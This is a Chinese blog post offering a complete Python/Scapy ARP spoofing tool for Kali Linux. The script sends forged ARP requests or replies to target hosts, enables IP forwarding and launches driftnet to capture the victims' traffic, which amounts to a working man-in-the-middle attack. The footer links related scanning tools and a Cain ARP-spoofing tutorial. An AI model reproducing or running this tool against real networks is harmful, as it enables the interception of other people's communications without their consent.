在kali中使用

from scapy.all import *
import optparse
import os

def send(pkt,interface):
    for p in pkt:
        sendp(p,iface=interface)

def req(targets,source):
    for target in targets:
        tr_mac=getmacbyip(target)
        pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source)
        yield pkt

def rep(targets,source):
    for target in targets:
        tr_mac=getmacbyip(target)
        pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source,op=2)
        yield pkt

def main():
    parser=optparse.OptionParser('%prog '+"[+]-i <interface> [+]-t <targets> [+]-s <source> [+]-m <mode> [+]-r <transmit>")
    parser.add_option('-i',dest='interface',default='eth0',type='string',help='[+]Interface(default eth0)')
    parser.add_option('-t',dest='targets',type='string',help='[+]Target host,split with \',\'')
    parser.add_option('-s',dest='source',type='string',help='[+]Source host')
    parser.add_option('-m',dest='mode',default='req',type='string',help='[+]Request(req) or Reply(rep)')
    parser.add_option('-r',dest='transmit',default='no',type='string',help='[+]Transmit(yes or no)')
    (options,args)=parser.parse_args()
    interface=options.interface
    targets=str(options.targets).split(',')
    source=options.source
    mode=options.mode
    transmit=options.transmit

    if((targets[0]==None) or (source==None)):
        print('[-]Please input targets and source')
        exit(0)

    if(transmit=='yes'):
        os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
        os.system("gnome-terminal -- driftnet -i "+interface)

    if(mode=='req'):
        print('----------------')
        try:
            while True:
                pkt=req(targets,source)
                send(pkt,interface)
        except KeyboardInterrupt:
            print('---------------')
            os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
            print('Finished')
    else:
        print('-----------------')
        try:
            while True:
                pkt=rep(targets,source)
                send(pkt,interface)
        except KeyboardInterrupt:
            print('---------------')
            os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
            print('Finished!')

if __name__=='__main__':
    main()

使用说明

开始程序

转发成功

github:https://github.com/zmqq/pytools/tree/master/arpspoof

 

Python3 小工具-ARP欺骗的更多相关文章

  1. Python3 小工具-ARP扫描

    from scapy.all import * import optparse import threading import os def scan(ipt): pkt=Ether(dst='ff: ...

  2. Cain工具ARP欺骗攻击

    OS:Win7工具:Cainhttp://pan.baidu.com/s/1xq9lW 密码:409z 网络:本机和被攻击电脑有线连接路由器. Cain是有名的局域网嗅探工具,有丰富的功能.比如可以解 ...

  3. python3 小工具

    扫描IP的端口是否开放:Porttest.py # -*- coding: utf-8 -*- import sys import os import socket #扫描 def scanport( ...

  4. ip地址查询python3小工具_V0.0.1

    看到同事在一个一个IP地址的百度来确认导出表格中的ip地址所对应的现实世界的地址是否正确,决定给自己新开一个坑.做一个查询ip“地址”的python小工具,读取Excel表格,在表格中的后续列输出尽可 ...

  5. Python3 小工具-UDP扫描

    from scapy.all import * import optparse import threading def scan(target,port): pkt=IP(dst=target)/U ...

  6. Python3 小工具-僵尸扫描

    僵尸机的条件: 1.足够闲置,不与其他机器进行通讯 2.IPID必须是递增的,不然无法判断端口是否开放 本实验僵尸机选择的是Windows2003 from scapy.all import * im ...

  7. Python3 小工具-TCP半连接扫描

    from scapy.all import * import optparse import threading def scan(ip,port): pkt=IP(dst=ip)/TCP(dport ...

  8. Python3 小工具-UDP发现

    from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/UDP( ...

  9. Python3 小工具-TCP发现

    from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/TCP( ...

随机推荐

  1. oracle系列(二)用户管理

    SQL> conn /as sysdbaConnected to Oracle Database 11g Express Edition Release 11.2.0.2.0 Connected ...

  2. lock free

    #include <thread> #include <iostream> #include <mutex> #include <atomic> #in ...

  3. linux系统可执行文件添加环境变量使其跨终端和目录执行

    在命令行终端输入:echo $PATH 回车可打印出PATH变量对应的路径 现有一可执行文件qtFirstC,文件所在目录为:/home/lolors/qtFirstC 此时test只能在此目录下运行 ...

  4. webpack-dev-server 多入口自动刷新,支持对象

    万物的来源~webpack 本身 watch webpack watch 传送门 webpack 可以监听文件变化,当它们修改后会重新编译 watch boolean 启用 Watch 模式.这意味着 ...

  5. 数据库操作-go

    原版 import ( "database/sql" _ "github.com/go-sql-driver/mysql" "fmt" ) ...

  6. 我和Python的Py交易》》》》》》 命名空间的小弟作用域

    命名空间的小弟作用域 在这要明确一个观点,在Python中万物皆对象,而变量指向的就是对象. 变量可以是 类名,函数名,储存数据的变量…… 对象可以是  类 ,被封装的一段代码(函数),数据…… 命名 ...

  7. shell之lvm

    #!/bin/bash #this script for LVM echo "Initial a disk..."  echo -e "\033[31mWarning: ...

  8. Milking Order

    Milking Order 题意:给出m个描述状态,其中包含若干个边的关系,问最多能取x (x<=m)个状态,使得形成的图没有环.就是说取x个状态,用状态中的关系建边,其中不能有环. 题解:最大 ...

  9. [原创]python高可用程序设计方法

    有时候程序上的bug会导致程序引发诸如段错误的情况而导致程序异常退出,这时用crond服务来检测,就会有一段时间程序处于不可用的情况,为了增强程序的可用性,我们可以让子进程处理业务,而让主进程检测子进 ...

  10. JavaScript’s “this”: how it works, where it can trip you up

    JavaScript’s “this”: how it works, where it can trip you up http://speakingjs.com/es5/ch23.html#_ind ...